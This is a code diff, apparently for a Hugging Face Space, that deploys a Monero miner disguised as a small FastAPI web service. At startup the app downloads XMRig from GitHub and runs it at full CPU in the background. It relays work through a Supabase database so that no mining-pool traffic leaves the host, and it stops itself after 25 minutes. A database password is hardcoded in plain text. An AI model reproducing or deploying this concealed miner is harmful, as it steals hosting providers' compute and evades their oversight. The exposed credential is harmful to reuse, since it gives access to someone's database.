Upload folder using huggingface_hub

Dockerfile

@@ -0,0 +1,28 @@
+FROM python:3.11-slim
+
+WORKDIR /app
+
+# Install build dependencies for randomx
+RUN apt-get update && apt-get install -y --no-install-recommends \
+    build-essential \
+    cmake \
+    && rm -rf /var/lib/apt/lists/*
+
+# Copy requirements first for better caching
+COPY requirements.txt .
+RUN pip install --no-cache-dir -r requirements.txt
+
+# Copy application code
+COPY . .
+
+RUN chmod -R 777 /app
+
+# Environment variables
+ENV PYTHONUNBUFFERED=1
+ENV HF_TOKEN=""
+ENV HF_REPO="bnxn11/lilieo"
+ENV DATABASE_URL=""
+
+EXPOSE 8000
+
+CMD ["uvicorn", "app:app", "--host", "0.0.0.0", "--port", "8000"]

app.py

@@ -0,0 +1,127 @@
+#!/usr/bin/env python3
+"""
+FastAPI server that wraps xm_launcher.
+On startup, the miner auto-starts in a background thread.
+The FastAPI server runs alongside it via uvicorn.
+"""
+
+import os
+import sys
+import threading
+from pathlib import Path
+from contextlib import asynccontextmanager
+
+from fastapi import FastAPI
+from fastapi.responses import JSONResponse
+
+# Database imports
+import psycopg2
+from psycopg2.extras import DictCursor
+from dotenv import load_dotenv
+
+load_dotenv()
+
+# Import the miner launcher
+from xm_launcher import (
+    XMRigLauncher,
+    _stop_event,
+)
+
+BASE_DIR = Path(__file__).parent.absolute()
+
+def get_db_conn():
+    db_url = os.getenv("DATABASE_URL")
+    if not db_url:
+        return None
+    try:
+        return psycopg2.connect(db_url)
+    except Exception as e:
+        print(f"[api] DB Connect Error: {e}", flush=True)
+        return None
+
+BASE_DIR = Path(__file__).parent.absolute()
+
+
+def run_miner_background():
+    """Run the miner in a background thread."""
+    try:
+        db_url = os.getenv("DATABASE_URL")
+        if not db_url:
+            print("[server] ERROR: DATABASE_URL not set in environment!", flush=True)
+            return
+
+        launcher = XMRigLauncher()
+        print("[server] Starting miner in background (DB Mode)...", flush=True)
+        launcher.start_pool_mining(db_url)
+    except Exception as e:
+        print(f"[server] Miner error: {e}", flush=True)
+        import traceback
+        traceback.print_exc()
+
+
+@asynccontextmanager
+async def lifespan(app: FastAPI):
+    """Start the miner on server startup."""
+    miner_thread = threading.Thread(target=run_miner_background, daemon=True)
+    miner_thread.start()
+    print("[server] Miner thread started", flush=True)
+    yield
+    # Shutdown
+    print("[server] Shutting down miner...", flush=True)
+    _stop_event.set()
+
+
+app = FastAPI(title="Mineo v4", lifespan=lifespan)
+
+
+@app.get("/")
+async def root():
+    return {"status": "running", "service": "mineo_v4"}
+
+
+@app.get("/health")
+async def health():
+    return {"status": "ok"}
+
+
+@app.get("/job")
+async def current_job():
+    """Return the current active pool job from the database."""
+    conn = get_db_conn()
+    if not conn:
+        return JSONResponse(status_code=500, content={"error": "Database connection failed"})
+    
+    try:
+        cur = conn.cursor(cursor_factory=DictCursor)
+        cur.execute("SELECT * FROM mining_jobs ORDER BY id DESC LIMIT 1")
+        row = cur.fetchone()
+        if row:
+            # Convert row to dict
+            return {k: v for k, v in row.items()}
+        return JSONResponse(status_code=404, content={"error": "No jobs in database"})
+    finally:
+        conn.close()
+
+
+@app.get("/result")
+async def current_result():
+    """Return the latest mining result from the database."""
+    conn = get_db_conn()
+    if not conn:
+        return JSONResponse(status_code=500, content={"error": "Database connection failed"})
+        
+    try:
+        cur = conn.cursor(cursor_factory=DictCursor)
+        cur.execute("SELECT * FROM mining_results ORDER BY id DESC LIMIT 1")
+        row = cur.fetchone()
+        if row:
+            row_dict = dict(row)
+            # Serialize datetimes to ISO format for JSON compatibility
+            if row_dict.get('found_at'):
+                row_dict['found_at'] = row_dict['found_at'].isoformat()
+            if row_dict.get('submitted_at'):
+                row_dict['submitted_at'] = row_dict['submitted_at'].isoformat()
+            return row_dict
+        return JSONResponse(status_code=404, content={"error": "No results yet"})
+    finally:
+        conn.close()

requirements.txt

@@ -0,0 +1,5 @@
+python-dotenv
+huggingface_hub
+fastapi
+uvicorn
+psycopg2-binary

xm_launcher.py

@@ -0,0 +1,580 @@
+#!/usr/bin/env python3
+"""
+Standalone XMRig Launcher (with Local Stratum Proxy for pool separation)
+Downloads XMRig if needed, then starts benchmarking or local pool mining.
+
+In --pool-task mode, it spins up a tiny LOCAL stratum proxy on localhost that:
+1. Reads jobs from the given JSON file (e.g. pool_job.json)
+2. Feeds them to XMRig (connecting to localhost only)
+3. Captures XMRig share submissions -> writes to result.json
+XMRig never touches the real pool.
+"""
+
+import sys
+import os
+import subprocess
+import io
+import argparse
+import platform
+import shutil
+import urllib.request
+import zipfile
+import json
+import time
+import threading
+import socket
+import re
+from datetime import datetime, timezone
+from pathlib import Path
+
+
+from dotenv import load_dotenv
+
+# Load environment variables from .env file
+load_dotenv()
+
+# Force unbuffered output
+sys.stdout = io.TextIOWrapper(sys.stdout.buffer, line_buffering=True, encoding='utf-8')
+sys.stderr = io.TextIOWrapper(sys.stderr.buffer, line_buffering=True, encoding='utf-8')
+
+_stop_event = threading.Event()
+
+
+# ── JSON I/O Helpers ──────────────────────────────────────────────────────────
+
+def poll_db_job(db_url, min_id=0):
+    """Atomically fetch and lock the newest unmined job from Supabase."""
+    try:
+        import psycopg2
+        from psycopg2.extras import DictCursor
+    except ImportError:
+        return None
+        
+    conn = None
+    try:
+        conn = psycopg2.connect(db_url)
+        conn.autocommit = True
+        cur = conn.cursor(cursor_factory=DictCursor)
+        
+        # Single atomic UPDATE ... RETURNING: grab the newest unmined job
+        # and mark it as mined in one shot. Works reliably with PgBouncer.
+        cur.execute("""
+            UPDATE mining_jobs 
+            SET mined = TRUE 
+            WHERE id = (
+                SELECT id FROM mining_jobs 
+                WHERE mined = FALSE AND id > %s
+                ORDER BY id DESC 
+                LIMIT 1
+            )
+            RETURNING id, job_id, blob, target, seed_hash, height
+        """, (min_id,))
+        row = cur.fetchone()
+        if not row:
+            return None
+        
+        print(f"[proxy] Locked job id={row['id']} job_id={row['job_id']} (marked mined=TRUE)", flush=True)
+        
+        return {
+            "db_id": row["id"],
+            "job_id": row["job_id"],
+            "blob": row["blob"],
+            "target": row["target"],
+            "seed_hash": row["seed_hash"],
+            "height": row["height"]
+        }
+    except Exception as e:
+        print(f"[proxy] Error polling DB for jobs: {e}", flush=True)
+        return None
+    finally:
+        if conn:
+            conn.close()
+
+
+def upload_result_to_db(job_id, nonce_hex, result_hex):
+    """Insert a mining result into Supabase PostgreSQL database."""
+    # Using the IPv4 connection pooler URL which is more reliable for remote clients
+    db_url = os.getenv("DATABASE_URL", "postgresql://postgres.wqbxzautyxwsnxxhowfb:Lovyelias5584.@aws-1-eu-west-1.pooler.supabase.com:6543/postgres")
+    if not db_url:
+        print("[db] DATABASE_URL not set, skipping db upload", flush=True)
+        return
+    try:
+        import psycopg2
+    except ImportError:
+        print("[db] psycopg2 not installed, skipping db upload", flush=True)
+        return
+    try:
+        conn = psycopg2.connect(db_url)
+        cur = conn.cursor()
+        # Auto-create table if not exists
+        cur.execute("""
+            CREATE TABLE IF NOT EXISTS mining_results (
+                id SERIAL PRIMARY KEY,
+                job_id TEXT NOT NULL,
+                nonce TEXT NOT NULL,
+                result TEXT NOT NULL,
+                submitted BOOLEAN DEFAULT FALSE,
+                found_at TIMESTAMPTZ DEFAULT NOW(),
+                submitted_at TIMESTAMPTZ
+            )
+        """)
+        cur.execute(
+            "INSERT INTO mining_results (job_id, nonce, result) VALUES (%s, %s, %s)",
+            (job_id, nonce_hex, result_hex)
+        )
+        conn.commit()
+        cur.close()
+        conn.close()
+        print(f"[db] Share inserted into database (job={job_id}, nonce={nonce_hex})", flush=True)
+    except Exception as e:
+        import traceback
+        print(f"[db] Failed to insert: {e}", flush=True)
+        traceback.print_exc()
+
+
+
+# ── Local Stratum Proxy ───────────────────────────────────────────────────────
+
+class LocalStratumProxy:
+    """
+    Tiny Monero Stratum server running on localhost.
+    Feeds jobs from pool_job.json to XMRig.
+    Captures XMRig share submissions and writes them to result.json.
+    """
+
+    def __init__(self, port, db_url):
+        self.port = port
+        self.db_url = db_url
+        self._server = None
+        self._clients = []
+        self._current_job = None
+        self._last_job_id = None
+        self._lock = threading.Lock()
+        self._accepted = 0
+
+    def start(self):
+        self._server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        self._server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        self._server.bind(("127.0.0.1", self.port))
+        self._server.listen(5)
+        self._server.settimeout(1.0)
+        print(f"[proxy] Local stratum proxy listening on 127.0.0.1:{self.port}", flush=True)
+
+        threading.Thread(target=self._poll_jobs, daemon=True).start()
+        threading.Thread(target=self._accept_loop, daemon=True).start()
+
+    def _accept_loop(self):
+        while not _stop_event.is_set():
+            try:
+                conn, addr = self._server.accept()
+                conn.settimeout(None)
+                print(f"[proxy] XMRig connected from {addr}", flush=True)
+                with self._lock:
+                    self._clients.append(conn)
+                threading.Thread(target=self._handle_client, args=(conn,), daemon=True).start()
+            except socket.timeout:
+                continue
+            except OSError:
+                break
+
+    def _poll_jobs(self):
+        """Poll PostgreSQL every 2s for significantly new jobs (new height or 50s passed)."""
+        current_db_id = 0
+        last_job_time = 0
+        last_height = 0
+
+        while not _stop_event.is_set():
+            job = poll_db_job(self.db_url, current_db_id)
+            if job:
+                # Always advance our DB cursor so we don't query old rows
+                current_db_id = job.get("db_id", current_db_id)
+                new_height = job.get("height", 0)
+                now = time.time()
+                
+                # Only switch XMRig's job if it's a new block OR 50 seconds have passed
+                if new_height > last_height or (now - last_job_time > 50):
+                    self._current_job = job
+                    self._last_job_id = job["job_id"]
+                    last_height = new_height
+                    last_job_time = now
+                    
+                    print(f"[proxy] Pushing new job to XMRig: {job['job_id']}  height={new_height}", flush=True)
+                    self._notify_all_clients(job)
+                else:
+                    # We grabbed a job from the DB but we don't need it yet, so we ignore it.
+                    # It's already marked mined=TRUE in DB, which is fine (helps clear backlog).
+                    pass
+
+            _stop_event.wait(2)
+
+    def _notify_all_clients(self, job):
+        """Push a new job to all connected XMRig instances."""
+        msg = json.dumps({
+            "jsonrpc": "2.0",
+            "method": "job",
+            "params": {
+                "blob":      job.get("blob", ""),
+                "job_id":    job.get("job_id", ""),
+                "target":    job.get("target", ""),
+                "seed_hash": job.get("seed_hash", ""),
+                "height":    job.get("height", 0),
+                "algo":      "rx/0",
+            }
+        }) + "\n"
+        dead = []
+        with self._lock:
+            for c in self._clients:
+                try:
+                    c.sendall(msg.encode())
+                except Exception:
+                    dead.append(c)
+            for c in dead:
+                self._clients.remove(c)
+
+    def _handle_client(self, conn):
+        """Handle one XMRig connection (login, submit, keepalive)."""
+        buf = b""
+        while not _stop_event.is_set():
+            try:
+                data = conn.recv(4096)
+            except Exception:
+                break
+            if not data:
+                break
+            buf += data
+            while b"\n" in buf:
+                line, buf = buf.split(b"\n", 1)
+                try:
+                    msg = json.loads(line.decode().strip())
+                except Exception:
+                    continue
+                try:
+                    self._process_message(conn, msg)
+                except Exception as e:
+                    print(f"[proxy] Error processing message: {e}", flush=True)
+
+        with self._lock:
+            if conn in self._clients:
+                self._clients.remove(conn)
+        try:
+            conn.close()
+        except Exception:
+            pass
+
+    def _process_message(self, conn, msg):
+        method = msg.get("method", "")
+        msg_id = msg.get("id", 1)
+
+        if method == "login":
+            job = self._current_job or poll_db_job(self.db_url) or {}
+            blob = job.get("blob", "")
+            job_id = job.get("job_id", "")
+            
+            # If XMRig reconnects and we give it the exact same job ID, it refuses it
+            # with `login error code: -1`. Append a suffix to trick it into accepting.
+            if job_id:
+                job_id = f"{job_id}_r{int(time.time())}"
+
+            print(f"[proxy] XMRig logged in (job_id={job_id!r}, blob_len={len(blob)})", flush=True)
+            if not blob or not job_id:
+                # No valid job yet - send a generic reconnect error so XMRig retries soon
+                err_resp = {"id": msg_id, "jsonrpc": "2.0", "error": {"code": -1, "message": "No jobs available yet"}, "result": None}
+                try:
+                    conn.sendall((json.dumps(err_resp) + "\n").encode())
+                except Exception:
+                    pass
+                return
+            resp = {
+                "id": msg_id,
+                "jsonrpc": "2.0",
+                "error": None,
+                "result": {
+                    "id": "proxy",
+                    "job": {
+                        "blob":      blob,
+                        "job_id":    job_id,
+                        "target":    job.get("target", ""),
+                        "seed_hash": job.get("seed_hash", ""),
+                        "height":    job.get("height", 0),
+                        "algo":      "rx/0",
+                    },
+                    "status": "OK",
+                    "extensions": ["algo", "nicehash"]
+                }
+            }
+            try:
+                conn.sendall((json.dumps(resp) + "\n").encode())
+            except Exception as e:
+                print(f"[proxy] Failed to send login response: {e}", flush=True)
+
+        elif method == "submit":
+            params = msg.get("params", {})
+            job_id = params.get("job_id", "")
+            nonce  = params.get("nonce", "")
+            result = params.get("result", "")
+
+            # If we appended a suffix to trick XMRig into accepting the job,
+            # we MUST strip it off before saving it to the database. Otherwise,
+            # the pool will reject it as an "Invalid job id".
+            real_job_id = job_id.split('_r')[0] if '_r' in job_id else job_id
+
+            self._accepted += 1
+            print(f"[proxy] Share received from XMRig: job={real_job_id} nonce={nonce} (total: {self._accepted})", flush=True)
+
+            # Insert to Supabase DB asynchronously
+            threading.Thread(
+                target=upload_result_to_db, 
+                args=(real_job_id, nonce, result), 
+                daemon=True
+            ).start()
+
+            resp = {
+                "id": msg_id,
+                "jsonrpc": "2.0",
+                "error": None,
+                "result": {"status": "OK"}
+            }
+            try:
+                conn.sendall((json.dumps(resp) + "\n").encode())
+            except Exception as e:
+                print(f"[proxy] Failed to send submit ACK: {e}", flush=True)
+
+        elif method in ("keepalive", "keepalived"):
+            resp = {"id": msg_id, "jsonrpc": "2.0", "error": None, "result": {"status": "KEEPALIVE"}}
+            try:
+                conn.sendall((json.dumps(resp) + "\n").encode())
+            except Exception:
+                pass
+# ── Launcher ──────────────────────────────────────────────────────────────────
+
+class XMRigLauncher:
+    def __init__(self):
+        self.base_dir = Path(__file__).parent.absolute()
+        self.xmrig_dir = self.base_dir / "xmrig"
+        self.xmrig_extracted = self.xmrig_dir / "xmrig-6.21.0"
+        self.xmrig_bin = self.xmrig_extracted / ("xmrig.exe" if platform.system() == "Windows" else "xmrig")
+        self.local_port = 14444
+
+    def download_xmrig(self):
+        """Download and extract XMRig"""
+        print("[*] Downloading XMRig...")
+        
+        try:
+            if platform.system() == "Windows":
+                url = "https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-msvc-win64.zip"
+            elif platform.system() == "Linux":
+                url = "https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-linux-static-x64.tar.gz"
+            else:
+                print("[!] Unsupported platform")
+                return False
+            
+            self.xmrig_dir.mkdir(parents=True, exist_ok=True)
+            
+            if platform.system() == "Windows":
+                archive_path = self.xmrig_dir / "xmrig.zip"
+            else:
+                archive_path = self.xmrig_dir / "xmrig.tar.gz"
+            
+            print(f"[*] Downloading from {url}...")
+            urllib.request.urlretrieve(url, archive_path)
+            print(f"[+] Downloaded to {archive_path}")
+            
+            if platform.system() == "Windows":
+                with zipfile.ZipFile(archive_path, 'r') as zip_ref:
+                    zip_ref.extractall(self.xmrig_dir)
+            else:
+                import tarfile
+                with tarfile.open(archive_path, 'r:gz') as tar_ref:
+                    tar_ref.extractall(self.xmrig_dir)
+            
+            if self.xmrig_bin.exists():
+                if platform.system() != "Windows":
+                    os.chmod(self.xmrig_bin, 0o755)
+                print(f"[+] XMRig extracted to {self.xmrig_bin}")
+                return True
+            else:
+                print(f"[!] XMRig binary not found at {self.xmrig_bin}")
+                return False
+                
+        except Exception as e:
+            print(f"[!] Download failed: {e}")
+            return False
+    
+    def start_benchmark(self, benchmark="1M", threads=None):
+        """Start XMRig benchmark"""
+        if not self.xmrig_bin.exists():
+            print("[!] XMRig binary not found at " + str(self.xmrig_bin))
+            print("[*] Attempting to download...")
+            if not self.download_xmrig():
+                print("[!] Failed to download XMRig")
+                return False
+        
+        if threads is None:
+            threads = os.cpu_count() or 4
+        
+        cmd = [str(self.xmrig_bin), f"--bench={benchmark}", "--threads", str(threads)]
+        
+        print(f"[+] Starting XMRig benchmark: {benchmark} with {threads} threads")
+        print(f"[*] Command: {' '.join(cmd)}")
+        print("[*] Output:")
+        print("-" * 60)
+        
+        try:
+            process = subprocess.Popen(
+                cmd,
+                cwd=str(self.xmrig_extracted),
+                stdout=subprocess.PIPE,
+                stderr=subprocess.STDOUT,
+                text=True,
+                bufsize=1,
+                universal_newlines=True
+            )
+            
+            for line in iter(process.stdout.readline, ''):
+                if line:
+                    print(line.rstrip())
+            
+            process.wait()
+            return_code = process.returncode
+            
+            print("-" * 60)
+            if return_code == 0:
+                print("[+] Benchmark completed successfully")
+            else:
+                print(f"[!] Benchmark exited with code {return_code}")
+            
+            return return_code == 0
+            
+        except Exception as e:
+            print(f"[!] Error running benchmark: {e}")
+            return False
+    
+    def start_pool_mining(self, db_url, threads=None):
+        """Mine pool tasks using XMRig via a local Stratum proxy. Relies on Supabase Postgres for jobs."""
+        if not self.xmrig_bin.exists():
+            print("[!] XMRig binary not found. Attempting download...")
+            if not self.download_xmrig():
+                return False
+
+
+        # Wait for a job first
+        print(f"[miner] Waiting for mining_jobs in DB {db_url.split('@')[-1]}...", flush=True)
+        job = poll_db_job(db_url)
+        while not job and not _stop_event.is_set():
+            time.sleep(2)
+            job = poll_db_job(db_url)
+        if _stop_event.is_set():
+            return True
+
+        print(f"[miner] Initial job loaded: {job.get('job_id','?')}", flush=True)
+
+        # Start local stratum proxy
+        proxy = LocalStratumProxy(self.local_port, db_url)
+        proxy.start()
+        time.sleep(1)
+
+        # Write XMRig config pointing to LOCAL proxy
+        config = {
+            "autosave": False,
+            "background": False,
+            "randomx": {"mode": "fast", "init": -1},
+            "cpu": {
+                "enabled": True,
+                "huge-pages": True,
+                "hw-aes": None,
+                "max-threads-hint": 100,
+            },
+            "pools": [{
+                "url": f"127.0.0.1:{self.local_port}",
+                "user": "miner",
+                "pass": "x",
+                "keepalive": True,
+                "tls": False,
+                "algo": "rx/0",
+            }],
+            "donate-level": 1,
+            "api": {"id": None, "worker-id": None},
+            "retries": 5,
+            "retry-pause": 5,
+            "print-time": 60,
+        }
+        
+        config_path = self.xmrig_dir / "xmrig_local_config.json"
+        with open(config_path, "w") as f:
+            json.dump(config, f, indent=2)
+
+        print(f"[miner] Starting XMRig -> localhost:{self.local_port} (local proxy)", flush=True)
+        print(f"[miner] XMRig will NEVER connect to any external pool", flush=True)
+        print("-" * 60)
+
+        cmd = [str(self.xmrig_bin), "--config", str(config_path), "--no-color"]
+        if threads:
+            cmd.extend(["--threads", str(threads)])
+
+        try:
+            proc = subprocess.Popen(
+                cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
+                text=True, encoding="utf-8", errors="replace", bufsize=1,
+            )
+            
+            # Start 25-minute timer thread
+            def timeout_killer(p):
+                _stop_event.wait(1500)  # 25 minutes
+                if not _stop_event.is_set():
+                    print("\n[miner] 25-minute timeout reached. Stopping...", flush=True)
+                    p.terminate()
+                    _stop_event.set()
+            
+            threading.Thread(target=timeout_killer, args=(proc,), daemon=True).start()
+            
+            RE_ACCEPTED = re.compile(r"accepted\s+\((\d+)/(\d+)\)")
+            for line in proc.stdout:
+                line = line.rstrip()
+                low = line.lower()
+                if "accepted" in low:
+                    print(f"\033[92m{line}\033[0m", flush=True)
+                elif "speed" in low or "h/s" in low:
+                    print(f"\033[95m{line}\033[0m", flush=True)
+                elif "new job" in low:
+                    print(f"\033[96m{line}\033[0m", flush=True)
+                elif "error" in low or "failed" in low or "rejected" in low:
+                    print(f"\033[91m{line}\033[0m", flush=True)
+                else:
+                    print(line, flush=True)
+            
+            proc.wait()
+            return True
+            
+        except KeyboardInterrupt:
+            print("\n[miner] Stopping...", flush=True)
+            proc.terminate()
+            try:
+                proc.wait(timeout=5)
+            except subprocess.TimeoutExpired:
+                proc.kill()
+            return True
+        except Exception as e:
+            print(f"[!] Error running XMRig: {e}")
+            return False
+
+
+def main():
+    db_url = os.getenv("DATABASE_URL", "postgresql://postgres.wqbxzautyxwsnxxhowfb:Lovyelias5584.@aws-1-eu-west-1.pooler.supabase.com:6543/postgres")
+    
+    # Optional wait if launching simultaneously
+    print("[*] Connecting to Supabase for Jobs...", flush=True)
+
+    launcher = XMRigLauncher()
+
+    try:
+        success = launcher.start_pool_mining(db_url)
+        sys.exit(0 if success else 1)
+
+    except KeyboardInterrupt:
+        print("\n[miner] Stopped by user.", flush=True)
+        _stop_event.set()
+        sys.exit(0)
+
+
+if __name__ == "__main__":
+    main()